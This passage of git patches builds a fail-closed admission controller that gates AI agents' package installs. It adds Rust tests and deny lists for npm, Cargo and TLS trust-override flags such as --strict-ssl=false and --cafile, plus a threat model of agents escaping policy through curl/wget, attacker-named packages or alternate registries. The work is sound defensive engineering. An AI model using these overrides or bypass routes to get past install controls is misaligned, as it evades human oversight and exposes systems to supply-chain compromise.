workspa pnpm contributors. (2026). *CLI dispatch: configuration resolution from the selected directory* [Source code, commit dc44db593500193cdb499769fac8f173fe25e501]. GitHub. https://github.com/pnpm/pnpm/blob/dc44db593500193cdb499769fac8f173fe25e501/pnpm/crates/cli/src/cli_args/dispatch.rs +pnpm contributors. (2026). *CLI configuration override parser* [Source code, commit dc44db593500193cdb499769fac8f173fe25e501]. GitHub. https://github.com/pnpm/pnpm/blob/dc44db593500193cdb499769fac8f173fe25e501/pnpm/crates/cli/src/config_overrides.rs + +pnpm contributors. (2026). *CLI startup and dotted configuration extraction* [Source code, commit dc44db593500193cdb499769fac8f173fe25e501]. GitHub. https://github.com/pnpm/pnpm/blob/dc44db593500193cdb499769fac8f173fe25e501/pnpm/crates/cli/src/lib.rs + Rust Project Developers. (2026). *cargo install: The Cargo Book.* https://doc.rust-lang.org/stable/cargo/commands/cargo-install.html Rust Project Developers. (2026). *Configuration: The Cargo Book.* https://doc.rust-lang.org/cargo/reference/config.html From 25be946da948e0307ed94e214e5cf7de073d89cc Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 3 Sep 2026 06:32:28 +0900 Subject: [PATCH 107/247] test(admission): reject npm config-file trust overrides --- .../tests/npm_config_override_contract.rs | 82 +++++++++++++++++++ 1 file changed, 82 insertions(+) create mode 100644 crates/agent-artifact-admission/tests/npm_config_override_contract.rs diff --git a/crates/agent-artifact-admission/tests/npm_config_override_contract.rs b/crates/agent-artifact-admission/tests/npm_config_override_contract.rs new file mode 100644 index 00000000..55a7eb74 --- /dev/null +++ b/crates/agent-artifact-admission/tests/npm_config_override_contract.rs @@ -0,0 +1,82 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, admission_decision, +}; + +#[test] +fn npm_config_file_overrides_cannot_inject_unreviewed_install_authority() { + for config_argument in [ + "--userconfig=/tmp/unreviewed.npmrc", + "--globalconfig=/tmp/unreviewed.npmrc", + ] { + let (policy, intent) = npm_case(config_argument); + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "{config_argument} must not inject caller-selected npm configuration" + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "alternate_trust_root"), + "{config_argument} must produce the stable alternate_trust_root reason" + ); + } +} + +fn npm_case(config_argument: &str) -> (AdmissionPolicy, InstallIntent) { + let artifact = ArtifactCoordinate { + ecosystem: "npm".to_string(), + name: "@cwl/example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://registry.npmjs.org".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc" + .to_string(), + artifact_argument: "@cwl/example@1.2.3".to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "enterprise-default".to_string(), + policy_revision: "2026-09-03.3".to_string(), + allowed_executables: vec!["npm".to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: "req-npm-config-authority".to_string(), + actor_id: "agent:codex:test".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + "npm".to_string(), + "install".to_string(), + artifact.artifact_argument.clone(), + "--ignore-scripts".to_string(), + config_argument.to_string(), + ], + manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + (policy, intent) +} From c63f27bc0493e92317748ec63c1482cbaab66531 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 3 Sep 2026 06:33:36 +0900 Subject: [PATCH 108/247] fix(admission): block npm config-file trust overrides --- crates/agent-artifact-admission/src/policy.rs | 2 ++ 1 file changed, 2 insertions(+) diff --git a/crates/agent-artifact-admission/src/policy.rs b/crates/agent-artifact-admission/src/policy.rs index 1ebfa0f5..07adc5f5 100644 --- a/crates/agent-artifact-admission/src/policy.rs +++ b/crates/agent-artifact-admission/src/policy.rs @@ -466,6 +466,8 @@ fn requests_alternate_trust_root(executable: &str, arguments: &[String]) -> bool "--find-links", "--registry", "--registry-url", + "--userconfig", + "--globalconfig", "--git", "--path", "-i", From 97399d5e2ac1eb68e3c17cb908768c3af4fbdf42 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 3 Sep 2026 06:34:06 +0900 Subject: [PATCH 109/247] docs(changelog): record npm config-file admission hardening --- CHANGELOG.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index c12f14b3..ef665285 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -5,7 +5,7 @@ ### Security - Added the independently deployable Agent Artifact Admission Controller for authenticated, loopback-only, fail-closed pre-execution package-install admission. Reviewed policy binds workspace manifests and exact artifact ecosystem/name/version/HTTPS registry/owner/SHA-256 evidence, structured argv, minimized append-before-response audit evidence, and deny-all defaults without taking over hostile-workload execution from the quarantine runtime. -- Hardened package-manager command admission so approved artifacts cannot be reinterpreted by a different package-manager ecosystem or widened through alternate package sources, destinations, or opaque runtime configuration: npm-family commands bind to npm artifacts, pip/uv pip to PyPI, Cargo to Cargo, and Docker/Podman to OCI; pip source/root short and long forms, uv index/environment selectors, Cargo registry/Git/path/config/root selectors, npm workspace controls, pnpm `--dir`/`-C` working-directory, filter/recursive/workspace-root selectors, and `--config.=` runtime overrides, Yarn Classic `-W`/`--ignore-workspace-root-check`, Bun `--cwd`/`--filter`/`-F` workspace selectors and caller-supplied `--config`, and contradictory lifecycle-script Boolean flags fail closed with stable reason codes. +- Hardened package-manager command admission so approved artifacts cannot be reinterpreted by a different package-manager ecosystem or widened through alternate package sources, destinations, or opaque runtime configuration: npm-family commands bind to npm artifacts, pip/uv pip to PyPI, Cargo to Cargo, and Docker/Podman to OCI; npm caller-selected `--userconfig`/`--globalconfig` files, pip source/root short and long forms, uv index/environment selectors, Cargo registry/Git/path/config/root selectors, npm workspace controls, pnpm `--dir`/`-C` working-directory, filter/recursive/workspace-root selectors, and `--config.=` runtime overrides, Yarn Classic `-W`/`--ignore-workspace-root-check`, Bun `--cwd`/`--filter`/`-F` workspace selectors and caller-supplied `--config`, and contradictory lifecycle-script Boolean flags fail closed with stable reason codes. - Removed the distributable Kubernetes administrator `Secret` and historical placeholder credential. Production deployments must provision `waf-ids-ai-soc-admin` / `ADMIN_TOKEN` through the external secret-management control plane; the workload's `secretKeyRef` is explicitly non-optional. - Added a structural regression contract that rejects shipped administrator Secret objects, placeholder credentials, decoy workloads, init-container false positives, and optional administrator Secret references. From 7160f3889207dac29d0534380c4a3e42aaf24cbc Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 3 Sep 2026 06:35:00 +0900 Subject: [PATCH 110/247] docs(security): trace npm config-file authority boundary --- docs/security/agent-artifact-admission-threat-model.md | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/docs/security/agent-artifact-admission-threat-model.md b/docs/security/agent-artifact-admission-threat-model.md index 5d8cb3f2..fc472974 100644 --- a/docs/security/agent-artifact-admission-threat-model.md +++ b/docs/security/agent-artifact-admission-threat-model.md @@ -25,7 +25,7 @@ The credential file, policy/configuration file and audit file are local deployme | Prompt-to-code dependency confusion | Untrusted text names an attacker-controlled or newly claimed package | Exact reviewed ecosystem/name/version/registry/owner/digest match; source text has no authority | `decision=block` | | Unpinned or mutable dependency | Version range, missing digest or changed artifact is admitted | Exact version and SHA-256 are mandatory | `decision=block` | | Registry substitution | Look-alike or alternate registry serves a package with the same name | Exact HTTPS registry identity is part of the approved artifact coordinate | `decision=block` | -| Package-source override | An otherwise approved package coordinate is combined with a command-line alternate index, registry, Git URL, local path, or package-manager runtime-configuration channel so resolution semantics come from unreviewed authority | Reject explicit trust-root/source selectors and opaque submitted configuration channels such as pnpm `--config.=` before returning `allow` | `decision=block`, reason `alternate_trust_root` | +| Package-source override | An otherwise approved package coordinate is combined with a command-line alternate index, registry, Git URL, local path, npm user/global config file, or package-manager runtime-configuration channel so resolution semantics come from unreviewed authority | Reject explicit trust-root/source selectors and opaque submitted configuration channels such as npm `--userconfig`/`--globalconfig` and pnpm `--config.=` before returning `allow` | `decision=block`, reason `alternate_trust_root` | | Direct download-and-execute | Agent bypasses package policy using curl/wget/shell/runtime evaluation | Structured `argv`; shells, direct downloaders, package executors and runtime inline evaluation remain blocked by invariant | `decision=block` | | Alternate install-root escape | An otherwise approved package-manager command adds global, user, prefix, target, root, system or arbitrary-environment flags so writes escape the broker-selected workspace boundary | Reject explicit package-manager install-root/environment overrides before returning `allow`; runtime filesystem isolation remains the execution broker/quarantine responsibility | `decision=block`, reason `alternate_install_root` | | Workspace-scope expansion | An approved package install adds workspace/project selectors so the command operates in caller-selected projects instead of the broker-selected workspace | Reject submitted npm workspace selectors and pnpm working-directory/filter/recursive/workspace-root selectors as destination/scope authority changes before returning `allow` | `decision=block`, reason `alternate_install_root` | @@ -42,7 +42,7 @@ The credential file, policy/configuration file and audit file are local deployme A document can legitimately mention `npm install`, a package name, a CVE, or a URL. Those strings are not executable instructions at this boundary. An agent must first construct a structured intent, and the intent must independently satisfy policy. A package with valid Sigstore/SLSA evidence is still not locally authorized unless the reviewed policy allows its exact coordinates. Conversely, an approved coordinate without the required digest or provenance remains blocked. -The controller must not repair typos, prepend package scopes, infer maintainers, search for a similarly named package, downgrade HTTPS, transform a blocked command into an allowed one, reinterpret an approved workspace install as permission to write into a global/user/alternate install root or a caller-selected workspace/project set, reinterpret an approved registry coordinate as permission to fetch from an alternate index, registry, Git repository, or local path, or let a package-manager-specific opaque configuration channel override reviewed source/safety/destination semantics. Any such behavior would convert untrusted input into authority or widen the reviewed command capability. +The controller must not repair typos, prepend package scopes, infer maintainers, search for a similarly named package, downgrade HTTPS, transform a blocked command into an allowed one, reinterpret an approved workspace install as permission to write into a global/user/alternate install root or a caller-selected workspace/project set, reinterpret an approved registry coordinate as permission to fetch from an alternate index, registry, Git repository, local path, or caller-selected npm configuration file, or let a package-manager-specific opaque configuration channel override reviewed source/safety/destination semantics. Any such behavior would convert untrusted input into authority or widen the reviewed command capability. ## Operational security invariants @@ -52,7 +52,7 @@ The controller must not repair typos, prepend package scopes, infer maintainers, - Audit records are append-only from this process's point of view. Corruption, write failure or task failure cannot be converted into an allow response. - Policy is immutable for the lifetime of the v0.1 process. Runtime mutation requires a future explicit policy-lifecycle aggregate and authorization contract; it must not be smuggled into the current HTTP adapter. - Domain modules remain independent of Axum, Tokio, filesystem paths, provider SDKs and concrete storage adapters. `ddd_architecture_contract.rs` is the executable fitness gate. -- Package-manager source, destination, environment, workspace-scope and opaque runtime-configuration overrides are admission capability changes, not ordinary argument detail. The admission kernel rejects explicit alternate trust roots/sources, alternate install roots/environments/workspace scopes, and pnpm's submitted dotted configuration channel, while the downstream execution broker/quarantine runtime still owns actual artifact retrieval verification, filesystem, mount, process and network isolation. +- Package-manager source, destination, environment, workspace-scope and opaque runtime-configuration overrides are admission capability changes, not ordinary argument detail. The admission kernel rejects explicit alternate trust roots/sources, alternate install roots/environments/workspace scopes, npm caller-selected user/global configuration files, and pnpm's submitted dotted configuration channel, while the downstream execution broker/quarantine runtime still owns actual artifact retrieval verification, filesystem, mount, process and network isolation. ## Residual risk and future adapters @@ -62,6 +62,7 @@ SHA-256 equality proves byte identity only when the execution path independently - National Institute of Standards and Technology. (2022). *Secure Software Development Framework (SSDF) Version 1.1: Recommendations for Mitigating the Risk of Software Vulnerabilities (NIST SP 800-218).* https://doi.org/10.6028/NIST.SP.800-218 - Booth, H., Souppaya, M., Vassilev, A., Ogata, M., Stanley, M., & Scarfone, K. (2024). *Secure software development practices for generative AI and dual-use foundation models: An SSDF community profile (NIST SP 800-218A).* National Institute of Standards and Technology. https://doi.org/10.6028/NIST.SP.800-218A +- npm, Inc. (2026). *Config.* https://docs.npmjs.com/using-npm/config/ - npm, Inc. (2026). *Workspaces.* https://docs.npmjs.com/misc/workspaces/ - npm, Inc. (2026). *npm install.* https://docs.npmjs.com/cli/v10/commands/npm-install/ - pnpm contributors. (2026). *CLI configuration override parser* [Source code, commit dc44db593500193cdb499769fac8f173fe25e501]. GitHub. https://github.com/pnpm/pnpm/blob/dc44db593500193cdb499769fac8f173fe25e501/pnpm/crates/cli/src/config_overrides.rs From f9b04531d2a335640e88cc95461406f820aee910 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 3 Sep 2026 06:38:19 +0900 Subject: [PATCH 111/247] test(admission): reject npm TLS trust overrides --- .../tests/npm_tls_trust_contract.rs | 83 +++++++++++++++++++ 1 file changed, 83 insertions(+) create mode 100644 crates/agent-artifact-admission/tests/npm_tls_trust_contract.rs diff --git a/crates/agent-artifact-admission/tests/npm_tls_trust_contract.rs b/crates/agent-artifact-admission/tests/npm_tls_trust_contract.rs new file mode 100644 index 00000000..2bc439bb --- /dev/null +++ b/crates/agent-artifact-admission/tests/npm_tls_trust_contract.rs @@ -0,0 +1,83 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, admission_decision, +}; + +#[test] +fn npm_tls_trust_overrides_cannot_change_registry_authentication() { + for trust_argument in [ + "--cafile=/tmp/unreviewed-ca.pem", + "--ca=unreviewed-ca-material", + "--strict-ssl=false", + ] { + let (policy, intent) = npm_case(trust_argument); + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "{trust_argument} must not change npm registry TLS trust" + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "alternate_trust_root"), + "{trust_argument} must produce the stable alternate_trust_root reason" + ); + } +} + +fn npm_case(trust_argument: &str) -> (AdmissionPolicy, InstallIntent) { + let artifact = ArtifactCoordinate { + ecosystem: "npm".to_string(), + name: "@cwl/example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://registry.npmjs.org".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc" + .to_string(), + artifact_argument: "@cwl/example@1.2.3".to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "enterprise-default".to_string(), + policy_revision: "2026-09-03.4".to_string(), + allowed_executables: vec!["npm".to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: "req-npm-tls-trust-authority".to_string(), + actor_id: "agent:codex:test".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + "npm".to_string(), + "install".to_string(), + artifact.artifact_argument.clone(), + "--ignore-scripts".to_string(), + trust_argument.to_string(), + ], + manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + (policy, intent) +} From 8be683a8c8ab6f7842870cc8ee0d7fdbd76726e2 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 3 Sep 2026 06:39:48 +0900 Subject: [PATCH 112/247] fix(admission): block npm TLS trust overrides --- crates/agent-artifact-admission/src/policy.rs | 3 +++ 1 file changed, 3 insertions(+) diff --git a/crates/agent-artifact-admission/src/policy.rs b/crates/agent-artifact-admission/src/policy.rs index 07adc5f5..7f3ac6cb 100644 --- a/crates/agent-artifact-admission/src/policy.rs +++ b/crates/agent-artifact-admission/src/policy.rs @@ -468,6 +468,9 @@ fn requests_alternate_trust_root(executable: &str, arguments: &[String]) -> bool "--registry-url", "--userconfig", "--globalconfig", + "--ca", + "--cafile", + "--strict-ssl", "--git", "--path", "-i", From 8edd045dd48c94d6faedd05ee2c60dcc24604500 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 3 Sep 2026 06:40:03 +0900 Subject: [PATCH 113/247] docs(changelog): record npm TLS trust hardening --- CHANGELOG.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index ef665285..c35ac057 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -5,7 +5,7 @@ ### Security - Added the independently deployable Agent Artifact Admission Controller for authenticated, loopback-only, fail-closed pre-execution package-install admission. Reviewed policy binds workspace manifests and exact artifact ecosystem/name/version/HTTPS registry/owner/SHA-256 evidence, structured argv, minimized append-before-response audit evidence, and deny-all defaults without taking over hostile-workload execution from the quarantine runtime. -- Hardened package-manager command admission so approved artifacts cannot be reinterpreted by a different package-manager ecosystem or widened through alternate package sources, destinations, or opaque runtime configuration: npm-family commands bind to npm artifacts, pip/uv pip to PyPI, Cargo to Cargo, and Docker/Podman to OCI; npm caller-selected `--userconfig`/`--globalconfig` files, pip source/root short and long forms, uv index/environment selectors, Cargo registry/Git/path/config/root selectors, npm workspace controls, pnpm `--dir`/`-C` working-directory, filter/recursive/workspace-root selectors, and `--config.=` runtime overrides, Yarn Classic `-W`/`--ignore-workspace-root-check`, Bun `--cwd`/`--filter`/`-F` workspace selectors and caller-supplied `--config`, and contradictory lifecycle-script Boolean flags fail closed with stable reason codes. +- Hardened package-manager command admission so approved artifacts cannot be reinterpreted by a different package-manager ecosystem or widened through alternate package sources, destinations, or opaque runtime configuration: npm-family commands bind to npm artifacts, pip/uv pip to PyPI, Cargo to Cargo, and Docker/Podman to OCI; npm caller-selected `--userconfig`/`--globalconfig` files and `--ca`/`--cafile`/`--strict-ssl` TLS trust overrides, pip source/root short and long forms, uv index/environment selectors, Cargo registry/Git/path/config/root selectors, npm workspace controls, pnpm `--dir`/`-C` working-directory, filter/recursive/workspace-root selectors, and `--config.=` runtime overrides, Yarn Classic `-W`/`--ignore-workspace-root-check`, Bun `--cwd`/`--filter`/`-F` workspace selectors and caller-supplied `--config`, and contradictory lifecycle-script Boolean flags fail closed with stable reason codes. - Removed the distributable Kubernetes administrator `Secret` and historical placeholder credential. Production deployments must provision `waf-ids-ai-soc-admin` / `ADMIN_TOKEN` through the external secret-management control plane; the workload's `secretKeyRef` is explicitly non-optional. - Added a structural regression contract that rejects shipped administrator Secret objects, placeholder credentials, decoy workloads, init-container false positives, and optional administrator Secret references. From 217108b31640afb1e9561f482c6d69a739de0595 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 3 Sep 2026 06:40:34 +0900 Subject: [PATCH 114/247] docs(security): trace npm TLS trust authority boundary --- docs/security/agent-artifact-admission-threat-model.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/docs/security/agent-artifact-admission-threat-model.md b/docs/security/agent-artifact-admission-threat-model.md index fc472974..4bf523e7 100644 --- a/docs/security/agent-artifact-admission-threat-model.md +++ b/docs/security/agent-artifact-admission-threat-model.md @@ -25,7 +25,7 @@ The credential file, policy/configuration file and audit file are local deployme | Prompt-to-code dependency confusion | Untrusted text names an attacker-controlled or newly claimed package | Exact reviewed ecosystem/name/version/registry/owner/digest match; source text has no authority | `decision=block` | | Unpinned or mutable dependency | Version range, missing digest or changed artifact is admitted | Exact version and SHA-256 are mandatory | `decision=block` | | Registry substitution | Look-alike or alternate registry serves a package with the same name | Exact HTTPS registry identity is part of the approved artifact coordinate | `decision=block` | -| Package-source override | An otherwise approved package coordinate is combined with a command-line alternate index, registry, Git URL, local path, npm user/global config file, or package-manager runtime-configuration channel so resolution semantics come from unreviewed authority | Reject explicit trust-root/source selectors and opaque submitted configuration channels such as npm `--userconfig`/`--globalconfig` and pnpm `--config.=` before returning `allow` | `decision=block`, reason `alternate_trust_root` | +| Package-source override | An otherwise approved package coordinate is combined with a command-line alternate index, registry, Git URL, local path, npm user/global config file, npm TLS trust override, or package-manager runtime-configuration channel so resolution or registry authentication semantics come from unreviewed authority | Reject explicit trust-root/source selectors and opaque submitted configuration channels such as npm `--userconfig`/`--globalconfig`/`--ca`/`--cafile`/`--strict-ssl` and pnpm `--config.=` before returning `allow` | `decision=block`, reason `alternate_trust_root` | | Direct download-and-execute | Agent bypasses package policy using curl/wget/shell/runtime evaluation | Structured `argv`; shells, direct downloaders, package executors and runtime inline evaluation remain blocked by invariant | `decision=block` | | Alternate install-root escape | An otherwise approved package-manager command adds global, user, prefix, target, root, system or arbitrary-environment flags so writes escape the broker-selected workspace boundary | Reject explicit package-manager install-root/environment overrides before returning `allow`; runtime filesystem isolation remains the execution broker/quarantine responsibility | `decision=block`, reason `alternate_install_root` | | Workspace-scope expansion | An approved package install adds workspace/project selectors so the command operates in caller-selected projects instead of the broker-selected workspace | Reject submitted npm workspace selectors and pnpm working-directory/filter/recursive/workspace-root selectors as destination/scope authority changes before returning `allow` | `decision=block`, reason `alternate_install_root` | @@ -42,7 +42,7 @@ The credential file, policy/configuration file and audit file are local deployme A document can legitimately mention `npm install`, a package name, a CVE, or a URL. Those strings are not executable instructions at this boundary. An agent must first construct a structured intent, and the intent must independently satisfy policy. A package with valid Sigstore/SLSA evidence is still not locally authorized unless the reviewed policy allows its exact coordinates. Conversely, an approved coordinate without the required digest or provenance remains blocked. -The controller must not repair typos, prepend package scopes, infer maintainers, search for a similarly named package, downgrade HTTPS, transform a blocked command into an allowed one, reinterpret an approved workspace install as permission to write into a global/user/alternate install root or a caller-selected workspace/project set, reinterpret an approved registry coordinate as permission to fetch from an alternate index, registry, Git repository, local path, or caller-selected npm configuration file, or let a package-manager-specific opaque configuration channel override reviewed source/safety/destination semantics. Any such behavior would convert untrusted input into authority or widen the reviewed command capability. +The controller must not repair typos, prepend package scopes, infer maintainers, search for a similarly named package, downgrade HTTPS, transform a blocked command into an allowed one, reinterpret an approved workspace install as permission to write into a global/user/alternate install root or a caller-selected workspace/project set, reinterpret an approved registry coordinate as permission to fetch from an alternate index, registry, Git repository, local path, or caller-selected npm configuration file, weaken or replace registry TLS certificate validation, or let a package-manager-specific opaque configuration channel override reviewed source/safety/destination semantics. Any such behavior would convert untrusted input into authority or widen the reviewed command capability. ## Operational security invariants @@ -52,7 +52,7 @@ The controller must not repair typos, prepend package scopes, infer maintainers, - Audit records are append-only from this process's point of view. Corruption, write failure or task failure cannot be converted into an allow response. - Policy is immutable for the lifetime of the v0.1 process. Runtime mutation requires a future explicit policy-lifecycle aggregate and authorization contract; it must not be smuggled into the current HTTP adapter. - Domain modules remain independent of Axum, Tokio, filesystem paths, provider SDKs and concrete storage adapters. `ddd_architecture_contract.rs` is the executable fitness gate. -- Package-manager source, destination, environment, workspace-scope and opaque runtime-configuration overrides are admission capability changes, not ordinary argument detail. The admission kernel rejects explicit alternate trust roots/sources, alternate install roots/environments/workspace scopes, npm caller-selected user/global configuration files, and pnpm's submitted dotted configuration channel, while the downstream execution broker/quarantine runtime still owns actual artifact retrieval verification, filesystem, mount, process and network isolation. +- Package-manager source, destination, environment, workspace-scope and opaque runtime-configuration overrides are admission capability changes, not ordinary argument detail. The admission kernel rejects explicit alternate trust roots/sources, alternate install roots/environments/workspace scopes, npm caller-selected user/global configuration files and registry TLS trust overrides, and pnpm's submitted dotted configuration channel, while the downstream execution broker/quarantine runtime still owns actual artifact retrieval verification, filesystem, mount, process and network isolation. ## Residual risk and future adapters From 609cbde6b2907f0ec27225152b7e15f57b2429eb Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 3 Sep 2026 08:07:17 +0900 Subject: [PATCH 115/247] test(admission): reject cargo target-dir escape --- .../tests/cargo_target_dir_escape_contract.rs | 89 +++++++++++++++++++ 1 file changed, 89 insertions(+) create mode 100644 crates/agent-artifact-admission/tests/cargo_target_dir_escape_contract.rs diff --git a/crates/agent-artifact-admission/tests/cargo_target_dir_escape_contract.rs b/crates/agent-artifact-admission/tests/cargo_target_dir_escape_contract.rs new file mode 100644 index 00000000..5fed9a49 --- /dev/null +++ b/crates/agent-artifact-admission/tests/cargo_target_dir_escape_contract.rs @@ -0,0 +1,89 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, admission_decision, +}; + +const MANIFEST_SHA256: &str = + "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; +const ARTIFACT_SHA256: &str = + "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; +const ARTIFACT_ARGUMENT: &str = "cwl-example@1.2.3"; + +#[test] +fn cargo_target_dir_cannot_escape_the_broker_selected_workspace() { + for target_dir_arguments in [ + vec!["--target-dir=/tmp/unreviewed-build-output"], + vec!["--target-dir", "/tmp/unreviewed-build-output"], + ] { + let policy = approved_cargo_policy(); + let mut argv = vec![ + "cargo".to_string(), + "install".to_string(), + ARTIFACT_ARGUMENT.to_string(), + "--locked".to_string(), + ]; + argv.extend(target_dir_arguments.into_iter().map(str::to_string)); + let intent = approved_cargo_intent(argv); + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "cargo --target-dir must not redirect build artifacts outside the broker-selected workspace" + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "alternate_install_root"), + "cargo --target-dir must produce the stable alternate_install_root reason" + ); + } +} + +fn approved_cargo_policy() -> AdmissionPolicy { + AdmissionPolicy { + policy_id: "cargo-target-dir-test".to_string(), + policy_revision: "1".to_string(), + allowed_executables: vec!["cargo".to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: MANIFEST_SHA256.to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: "cargo".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://crates.io".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: ARTIFACT_SHA256.to_string(), + artifact_argument: ARTIFACT_ARGUMENT.to_string(), + }], + } +} + +fn approved_cargo_intent(argv: Vec) -> InstallIntent { + InstallIntent { + request_id: "req-cargo-target-dir".to_string(), + actor_id: "agent:test".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv, + manifest_sha256: MANIFEST_SHA256.to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![ArtifactCoordinate { + ecosystem: "cargo".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://crates.io".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: ARTIFACT_SHA256.to_string(), + artifact_argument: ARTIFACT_ARGUMENT.to_string(), + }], + } +} From 2545b7591c75b98266d239c1884a009211c21eca Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 3 Sep 2026 08:08:37 +0900 Subject: [PATCH 116/247] fix(admission): block Cargo target-dir escape --- crates/agent-artifact-admission/src/policy.rs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/crates/agent-artifact-admission/src/policy.rs b/crates/agent-artifact-admission/src/policy.rs index 7f3ac6cb..d653b81c 100644 --- a/crates/agent-artifact-admission/src/policy.rs +++ b/crates/agent-artifact-admission/src/policy.rs @@ -572,7 +572,7 @@ fn requests_alternate_install_root(executable: &str, arguments: &[String]) -> bo "-p", ]) } - "cargo" => contains_flag(&["--root", "--config"]), + "cargo" => contains_flag(&["--root", "--config", "--target-dir"]), _ => false, } } From 02ede7e4c3e74a1f454c67fccbe96d04aa8c8753 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 3 Sep 2026 11:10:31 +0900 Subject: [PATCH 117/247] test(admission): reject unreviewed Cargo build variants --- .../tests/cargo_build_variant_contract.rs | 99 +++++++++++++++++++ 1 file changed, 99 insertions(+) create mode 100644 crates/agent-artifact-admission/tests/cargo_build_variant_contract.rs diff --git a/crates/agent-artifact-admission/tests/cargo_build_variant_contract.rs b/crates/agent-artifact-admission/tests/cargo_build_variant_contract.rs new file mode 100644 index 00000000..16fc047c --- /dev/null +++ b/crates/agent-artifact-admission/tests/cargo_build_variant_contract.rs @@ -0,0 +1,99 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, admission_decision, +}; + +const MANIFEST_SHA256: &str = + 